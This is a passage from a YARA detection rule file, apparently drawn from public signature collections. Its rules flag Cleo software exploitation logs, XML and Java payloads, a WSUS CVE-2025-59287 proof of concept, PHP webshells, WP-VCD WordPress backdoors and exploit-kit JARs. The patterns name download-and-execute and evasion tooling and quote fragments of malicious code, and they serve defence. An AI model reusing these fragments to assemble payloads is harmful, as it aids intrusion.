		hash3 = "c5d23d991ce3fbcf73b177bc6136d26a501ded318ccf409ca16f7c664727755a"
		hash4 = "5072d91ee0d162c28452123a4d9986f3df6b3244e48bf87444ce88add29dd8ed"
		hash5 = "ff4e21f788c36aabe6ba870cf3b10e258c2ba6f28a2d359a25d5a684c92a0cad"
	strings:
		$sd1 = "VUVzREJCUUFBUUFJQ"
		$sd2 = "VFc0RCQlFBQVFBSU"
		$sd3 = "VRXNEQkJRQUFRQUlB"
		$sdr1 = "QJFUUBFUUCJERzVUV"
		$sdr2 = "USBFVQBFlQCR0cFV"
		$sdr3 = "BlUQRFUQRJkQENXRV"
		$st1 = "VlVWelJFSkNVVUZCVVVGSl"
		$st2 = "ZVVnpSRUpDVVVGQlVVRkpR"
		$st3 = "WVVZ6UkVKQ1VVRkJVVUZKU"
		$st4 = "VkZjMFJDUWxGQlFWRkJTV"
		$st5 = "ZGYzBSQ1FsRkJRVkZCU1"
		$st6 = "WRmMwUkNRbEZCUVZGQlNV"
		$st7 = "VlJYTkVRa0pSUVVGUlFVbE"
		$st8 = "ZSWE5FUWtKUlFVRlJRVWxC"
		$st9 = "WUlhORVFrSlJRVUZSUVVsQ"
		$str1 = "UUpGVVVCRlVVQ0pFUnpWVV"
		$str2 = "FKRlVVQkZVVUNKRVJ6VlVW"
		$str3 = "RSkZVVUJGVVVDSkVSelZVV"
		$str4 = "VVNCRlZRQkZsUUNSMGNGV"
		$str5 = "VTQkZWUUJGbFFDUjBjRl"
		$str6 = "VU0JGVlFCRmxRQ1IwY0ZW"
		$str7 = "QmxVUVJGVVFSSmtRRU5YUl"
		$str8 = "JsVVFSRlVRUkprUUVOWFJW"
		$str9 = "CbFVRUkZVUVJKa1FFTlhSV"
		$htm = "<html" ascii
		$eml = "Content-Transfer-Encoding:" ascii
	condition:
		filesize < 10MB and ( ( 1 of ( $sd* ) and $htm and not $eml ) or ( 1 of ( $st* ) and $eml ) )
}

rule SIGNATURE_BASE_EXPL_Cleo_Exploitation_Log_Indicators_Dec24 : SCRIPT
{
	meta:
		description = "Detects indicators found in logs during and after Cleo software exploitation (as reported by Huntress in December 2024)"
		author = "Florian Roth"
		id = "385042a9-fc8c-5b50-975f-3436a16e6861"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a7e6713a08d7cce00cffba8daa12b251ccc12dc8d5a5f38d568bd5054e3783a2"
		score = 75
		quality = 85
		tags = "SCRIPT"
	strings:
		$x1 = "Note: Processing autorun file 'autorun\\health" ascii wide
		$x2 = "60282967-dc91-40ef-a34c-38e992509c2c.xml" ascii wide
		$x3 = "<Detail level=\"1\">Executing 'cmd.exe /c \"powershell -NonInteractive -EncodedCommand " ascii wide
	condition:
		1 of them
}

rule SIGNATURE_BASE_SUSP_EXPL_Cleo_Exploitation_Log_Indicators_Dec24_1 : FILE
{
	meta:
		description = "Detects indicators found in logs during and after Cleo software exploitation (as reported by Huntress in December 2024)"
		author = "X__Junior"
		id = "81daf184-4c38-5d84-899b-9d0de2f39934"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L18-L52"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "481ddd570d0292036b421223ce0f839ece86cc1a97aa226a8b9fbd1d63905d1b"
		score = 75
		quality = 83
		tags = "FILE"
		hash1 = "786951478a0fc5db24f6e1d8dcc5eaa8880dbd928da97828a61f1f1f0f21e21d"
	strings:
		$sa1 = "<Thread type=\"AutoRun\" action=" ascii
		$sa2 = "<Mark date=" ascii
		$sa3 = "<Event>" ascii
		$sa4 = "<Command text" ascii
		$sb1 = "[System.Net.WebRequest]::create" ascii
		$sb2 = "Invoke-RestMethod" ascii
		$sb3 = "Invoke-WebRequest" ascii
		$sb4 = "iwr " ascii
		$sb5 = "Net.WebClient" ascii
		$sb6 = "Resume-BitsTransfer" ascii
		$sb7 = "Start-BitsTransfer" ascii
		$sb8 = "wget " ascii
		$sb9 = "WinHttp.WinHttpRequest" ascii
		$sb10 = ".DownloadFile(" ascii
		$sb11 = ".DownloadString(" ascii
		$sb12 = "Bypass" nocase ascii
		$sb13 = "-EncodedCommand" ascii
		$sb14 = "-windowstyle hidden" ascii
		$sb15 = " -enc " ascii
	condition:
		filesize < 1MB and all of ( $sa* ) and 1 of ( $sb* )
}

rule SIGNATURE_BASE_SUSP_EXPL_Cleo_Exploitation_Log_Indicators_Dec24_2 : FILE
{
	meta:
		description = "Detects indicators found in logs during and after Cleo software exploitation (as reported by Huntress in December 2024)"
		author = "X__Junior"
		id = "d215d4a0-1726-58d4-90df-8ec6102effe1"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L54-L89"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8debaf2c85ea63501b7a3c2ff8af7a8484f4d6097e073645d808cbd50ef1511a"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$sa1 = "<Thread type=\"AutoRun\" action=" ascii
		$sa2 = "<Mark date=" ascii
		$sa3 = "<Event>" ascii
		$sa4 = "<Command text" ascii
		$sb1 = "wscript" ascii
		$sb2 = "cscript" ascii
		$sb3 = "mshta" ascii
		$sb4 = "certutil" ascii
		$sb5 = "pwsh" ascii
		$sb6 = "curl" ascii
		$sb7 = "msiexec" ascii
		$sb8 = "taskkill" ascii
		$sb9 = "regsvr32" ascii
		$sb10 = "rundll32" ascii
		$sb11 = "bitsadmin" ascii
		$sb12 = "whoami" ascii
		$sb13 = "bcdedit" ascii
		$sb14 = "systeminfo" ascii
		$sb15 = "reg " ascii
		$sb16 = "schtasks" ascii
	condition:
		filesize < 1MB and all of ( $sa* ) and 1 of ( $sb* )
}

rule SIGNATURE_BASE_EXPL_Cleo_Exploitation_XML_Indicators_Dec24 : FILE
{
	meta:
		description = "Detects XML used during and after Cleo software exploitation (as reported by Huntress in December 2024)"
		author = "Florian Roth"
		id = "622633af-aa7a-5bf9-a59c-6590535d86a4"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L91-L109"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "21c11c3e0c0ffea89e24b9c002b6112a46b4dc7c2c4f1f5dc9803758a68efc36"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "<Host alias=\"60282967-dc91-40ef-a34c-38e992509c2c\" application=\"\" " ascii
		$s1 = "<Commands>SYSTEM cmd.exe /c " ascii
		$a1 = "<Action actiontype=\"Commands\" " ascii
	condition:
		filesize < 50KB and ( 1 of ( $x* ) or 2 of them )
}

rule SIGNATURE_BASE_SUSP_EXPL_Cleo_Exploitation_XML_Indicators_Dec24_1 : FILE
{
	meta:
		description = "Detects XML used during and after Cleo software exploitation (as reported by Huntress in December 2024)"
		author = "X__Junior"
		id = "b30ca09f-b84c-5de8-9bf7-9f3269f32c1f"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L112-L146"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c9be15aec57fdde62815ee04daa5616940ab7949784d382a4825dce9f1e28568"
		score = 70
		quality = 83
		tags = "FILE"
		hash1 = "b103f708e85416fc6d7af9605da4b57b3abe42fb9c6c9ec0f539b4c877580bd2"
	strings:
		$sa1 = "<Action actiontype=\"Commands\"" ascii
		$sa2 = "<?xml version=" ascii
		$sa3 = "<Runninglocalrequired>" ascii
		$sa4 = "<Autostartup>" ascii
		$sb1 = "[System.Net.WebRequest]::create" ascii
		$sb2 = "Invoke-RestMethod" ascii
		$sb3 = "Invoke-WebRequest" ascii
		$sb4 = "iwr " ascii
		$sb5 = "Net.WebClient" ascii
		$sb6 = "Resume-BitsTransfer" ascii
		$sb7 = "Start-BitsTransfer" ascii
		$sb8 = "wget " ascii
		$sb9 = "WinHttp.WinHttpRequest" ascii
		$sb10 = ".DownloadFile(" ascii
		$sb11 = ".DownloadString(" ascii
		$sb12 = "Bypass" nocase ascii
		$sb13 = "-EncodedCommand" ascii
		$sb14 = "-windowstyle hidden" ascii
		$sb15 = " -enc " ascii
	condition:
		filesize < 10KB and all of ( $sa* ) and 1 of ( $sb* )
}

rule SIGNATURE_BASE_SUSP_EXPL_Cleo_Exploitation_XML_Indicators_Dec24_2 : FILE
{
	meta:
		description = "Detects XML used during and after Cleo software exploitation (as reported by Huntress in December 2024)"
		author = "X__Junior"
		id = "a71c71f3-d36f-5c27-b150-e678bccf2dba"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L148-L183"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "60e53c8d99fde8c48bff67408605aa69c3c1fe3040ba4f9d2080980df970aa93"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$sa1 = "<Action actiontype=\"Commands\"" ascii
		$sa2 = "<?xml version=" ascii
		$sa3 = "<Runninglocalrequired>" ascii
		$sa4 = "<Autostartup>" ascii
		$sb1 = "wscript" ascii
		$sb2 = "cscript" ascii
		$sb3 = "mshta" ascii
		$sb4 = "certutil" ascii
		$sb5 = "pwsh" ascii
		$sb6 = "curl" ascii
		$sb7 = "msiexec" ascii
		$sb8 = "taskkill" ascii
		$sb9 = "regsvr32" ascii
		$sb10 = "rundll32" ascii
		$sb11 = "bitsadmin" ascii
		$sb12 = "whoami" ascii
		$sb13 = "bcdedit" ascii
		$sb14 = "systeminfo" ascii
		$sb15 = "reg " ascii
		$sb16 = "schtasks" ascii
	condition:
		filesize < 10KB and all of ( $sa* ) and 1 of ( $sb* )
}


rule SIGNATURE_BASE_SUSP_EXPL_JAR_Indicators_Dec24 : FILE
{
	meta:
		description = "Detects characteristics of JAR files used during Cleo software exploitation (as reported by Huntress in December 2024)"
		author = "Florian Roth"
		id = "4e8f6aa8-9efd-5fcf-b795-5042d4ba1708"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L204-L222"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8b87e7000ab5d9759f55660a085bf0f3dddb46ad1ea411cbbabce1000105ee9e"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "TLS v3 " ascii
		$s2 = "java/util/Base64$Decoder" ascii
		$s3 = "AES/CBC/NoPadding" ascii
		$s4 = "getenv" ascii
		$s5 = "ava/util/zip/ZipInputStream" ascii
	condition:
		uint16( 0 ) == 0xfeca and filesize < 20KB and all of them
}

rule SIGNATURE_BASE_EXPL_Cleo_Exploitation_JAVA_Payloads_Dec24_1_1 : FILE
{
	meta:
		description = "Detects characteristics of JAVA files used during Cleo software exploitation (as reported by Huntress in December 2024) - files Cli, ScSlot, Slot, SrvSlot"
		author = "Florian Roth"
		id = "2940ddad-3dba-594a-9111-e4741d6ff39b"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L224-L245"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "85600e9310e502b3b2135f2f3cf698ae54fe362047cdf9d378dcc107e0c2fa18"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "0c57b317b572d071afd8ccdb844dd6f117e20f818c6031d7ba8adcbd32be0617"
	strings:
		$a1 = "java/lang/StringBuffer"
		$x1 = "Start-Sleep 3;del " ascii
		$x2 = "sleep 3;rm -f '" ascii
		$x3 = "powershell -Noninteractive -EncodedCommand " ascii
		$x4 = "runDelFileCmd" ascii fullword
	condition:
		uint16( 0 ) == 0xfeca and filesize < 50KB and $a1 and 1 of ( $x* )
}

rule SIGNATURE_BASE_EXPL_Cleo_Exploitation_JAVA_Payloads_Dec24_2 : FILE
{
	meta:
		description = "Detects characteristics of JAVA files used during Cleo software exploitation (as reported by Huntress in December 2024) - file Proc"
		author = "Florian Roth"
		id = "bd575454-7fd0-566d-94e5-ec1368675108"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L247-L265"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2bb5eace09b832bf3ce296484f473c9c56f97b881ea17838408be6000cc6fcb1"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "1ba95af21bac45db43ebf02f87ecedde802c7de4d472f33e74ee0a5b5015a726"
	strings:
		$s1 = "Timeout getting pipe-data" ascii fullword
		$s2 = "Ftprootpath" ascii fullword
		$s3 = "Rest cmd=" ascii fullword
		$s4 = "writeToProc" ascii fullword
	condition:
		uint16( 0 ) == 0xfeca and filesize < 30KB and 3 of them
}

rule SIGNATURE_BASE_EXPL_Cleo_Exploitation_JAVA_Payloads_Dec24_3 : FILE
{
	meta:
		description = "Detects characteristics of JAR files used during Cleo software exploitation"
		author = "X__Junior"
		id = "5c227bb9-0731-5955-a758-6fe86ecc2d86"
		date = "2024-12-10"
		modified = "2024-12-12"
		reference = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cleo_dec24.yar#L267-L286"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "64a6194110d4eb359cc3f15137cf752d598f2f0a52ac181fcaa358bf40072f54"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "java/lang/String" ascii
		$s1 = "#lsz#" ascii
		$s2 = "#dbg#" ascii
		$s3 = "#ll#" ascii
		$s4 = "SvZipDataOverflow=%d OpNotConf=" ascii
	condition:
		uint16( 0 ) == 0xfeca and filesize < 20KB and 3 of ( $s* ) and $a1
}

rule SIGNATURE_BASE_APT_UNC1151_Windowsinstaller_Silent_Installproduct_Macromethod : FILE
{
	meta:
		description = "No description has been set in the source file - Signature Base"
		author = "Proofpoint Threat Research"
		id = "9ae80d54-33b9-55d7-957f-0738243e089f"
		date = "2021-07-28"
		modified = "2023-12-05"
		reference = "Thttps://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc1151_ua.yar#L1-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "aec1bb992061fdf1abf5c1a61cf9ec9e54c1f13be36ceb84890b058ade273b70"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3"
		hash2 = "a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0"
	strings:
		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
		$s1 = ".UILevel = 2"
		$s2 = "CreateObject(\"WindowsInstaller.Installer\")"
		$s3 = ".InstallProduct \"http"
	condition:
		$doc_header at 0 and all of ( $s* )
}


rule SIGNATURE_BASE_HKTL_EXPL_WSUS_Exploitation_POC_Oct25 : CVE_2025_59287 FILE
{
	meta:
		description = "Detects POC for the exploitation of the Windows Server Update Services (WSUS) Remote Code Execution Vulnerability (CVE-2025-59287)"
		author = "Florian Roth"
		id = "a48741cb-cdd0-51ea-b7e9-278f16990bf0"
		date = "2025-10-26"
		modified = "2025-12-05"
		reference = "https://github.com/jiansiting/CVE-2025-59287/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_wsus_cve_2025_59287.yar#L29-L47"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ade02afa7449f0bfcd82065a4246a598bedb46c561bf721b6bf1325fe0fc6239"
		score = 75
		quality = 85
		tags = "CVE-2025-59287, FILE"
	strings:
		$sa1 = "/SimpleAuthWebService/SimpleAuth.asmx"
		$sa2 = "/ReportingWebService/ReportingWebService.asmx"
		$sa3 = "/ClientWebService/Client.asmx"
		$sa4 = "/ReportingWebService/ReportingWebService.asmx"
		$sb1 = "xsi:type=\"SOAP-ENC:base64\">"
	condition:
		filesize < 20MB and all of ( $sa* ) and $sb1
}



// Legacy gap rules — 10 rules from Yara-Rules/rules that cover
// 139 malware files not detected by YARA Forge core or extended.
// Source: github.com/Yara-Rules/rules (snapshot Aug 2020)

rule PHP_Cloaked_Webshell_SuperFetchExec {
	meta:
		description = "Looks like a webshell cloaked as GIF - http://goo.gl/xFvioC"
		reference = "http://goo.gl/xFvioC"
		author = "Florian Roth"
		score = 50
	strings:
		$s0 = "else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d);"
	condition:
		$s0
}


rule spam_mailer {
    strings:
        $ = "<strong>WwW.Zone-Org</strong>"
        $ = "echo eval(urldecode("
    condition: any of them
}


rule md5_71a7c769e644d8cf3cf32419239212c7 {
	/*
    // $GLOBALS['ywanc2']($GLOBALS['ggbdg61']
    */
    strings: $ = /\$GLOBALS\['[\w\d]+'\]\(\$GLOBALS\['[\w\d]+'\]/
    condition: any of them
}


rule md5_fb9e35bf367a106d18eb6aa0fe406437 {
    strings: $ = "0B6KVua7D2SLCNDN2RW1ORmhZRWs/sp_tilang.js"
    condition: any of them
}


rule overwrite_globals_hack {
    strings: $ = /\$GLOBALS\['[^']{,20}'\]=Array\(/
    condition: any of them
}



rule ld_preload_backdoor {
    strings: $ = "killall -9 \".basename(\"/usr/bin/host"
    condition: any of them
}


rule blackhole1_jar
{
meta:
   author = "Josh Berry"
   date = "2016-06-26"
   description = "BlackHole1 Exploit Kit Detection"
   hash0 = "724acccdcf01cf2323aa095e6ce59cae"
   sample_filetype = "unknown"
   yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
strings:
   $string0 = "Created-By: 1.6.0_18 (Sun Microsystems Inc.)"
   $string1 = "workpack/decoder.classmQ]S"
   $string2 = "workpack/decoder.classPK"
   $string3 = "workpack/editor.classPK"
   $string4 = "xmleditor/GUI.classmO"
   $string5 = "xmleditor/GUI.classPK"
   $string6 = "xmleditor/peers.classPK"
   $string7 = "v(SiS]T"
   $string8 = ",R3TiV"
   $string9 = "META-INF/MANIFEST.MFPK"
   $string10 = "xmleditor/PK"
   $string11 = "Z[Og8o"
   $string12 = "workpack/PK"
condition:
   12 of them
}


rule crimepack_jar : EK
{
meta:
	author = "Josh Berry"
	date = "2016-06-26"
	description = "CrimePack Exploit Kit Detection"
	hash0 = "d48e70d538225bc1807842ac13a8e188"
	sample_filetype = "unknown"
	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
strings:
	$string0 = "r.JM,IM"
	$string1 = "cpak/Crimepack$1.classPK"
	$string2 = "cpak/KAVS.classPK"
	$string3 = "cpak/KAVS.classmQ"
	$string4 = "cpak/Crimepack$1.classmP[O"
	$string5 = "META-INF/MANIFEST.MF"
	$string6 = "META-INF/MANIFEST.MFPK"
condition:
	6 of them
}


rule crimepack_jar3 : EK
{
meta:
	author = "Josh Berry"
	date = "2016-06-26"
	description = "CrimePack Exploit Kit Detection"
	hash0 = "40ed977adc009e1593afcb09d70888c4"
	sample_filetype = "unknown"
	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
strings:
	$string0 = "payload.serPK"
	$string1 = "vE/JD[j"
	$string2 = "payload.ser["
	$string3 = "Exploit$2.classPK"
	$string4 = "Exploit$2.class"
	$string5 = "Ho((i/"
	$string6 = "META-INF/MANIFEST.MF"
	$string7 = "H5641Yk"
	$string8 = "Exploit$1.classPK"
	$string9 = "Payloader.classPK"
	$string10 = "%p6$MCS"
	$string11 = "Exploit$1$1.classPK"
condition:
	11 of them
}



rule Backdoor_PHP_WPVCD_TempExecution {
    meta:
       description = "Backdoor script associated with WP-VCD."
    strings:
       $re = /extract\s*\(\s*wp_temp_setupx?\s*\(\s*\$\w+\s*\)\s*\)/ nocase
    condition:
       $re
}


rule Backdoor_PHP_WPVCD_DivCodeName {
    meta:
       description = "Backdoor script associated with WP-VCD"
    strings:
       $re = /\$div_code_name\s*\=\s*['"]wp_vcd['"];/ nocase
    condition:
       $re
}


rule Backdoor_PHP_WPVCD_Deployer {
    meta:
       description = "Deployment script associated with WP-VCD."
    strings:
       $re = /strpos\s*\(\s*\$\w+\s*,\s*['"]WP_V_CD['"]\s*\)\s*===\s*false/ nocase
    condition:
       $re
}


rule Spam_PHP_WPVCD_ContentInjection {
    meta:
       description = "Content injection script associated with WP-VCD."
    strings:
       $re = /\$ip\s*=\s*\@file_get_contents\s*\(\s*ABSPATH\s*\.\s*['"]wp\-includes\/wp\-feed\.php['"]/ nocase
    condition:
       $re
}


rule Suspicious_PHP_PrependedInclude {
    meta:
       description = "Suspicious PHP include often associated with WP-VCD."
    strings:
       $re = /^\<\?php\s+if\s*\(\s*file_exists\s*\(\s*dirname\s*\(\s*__FILE__\s*\)\s*\.\s*['"][^'"]+['"]\s*\)\s*\)\s*(include|require)(_once)?\s*\(\s*dirname\s*\(\s*__FILE__\s*\)\s*\.\s*['"][^'"]+['"]\s*\)\s*\;\s*\?\>\s*\<\?/ nocase
    condition:
       $re
}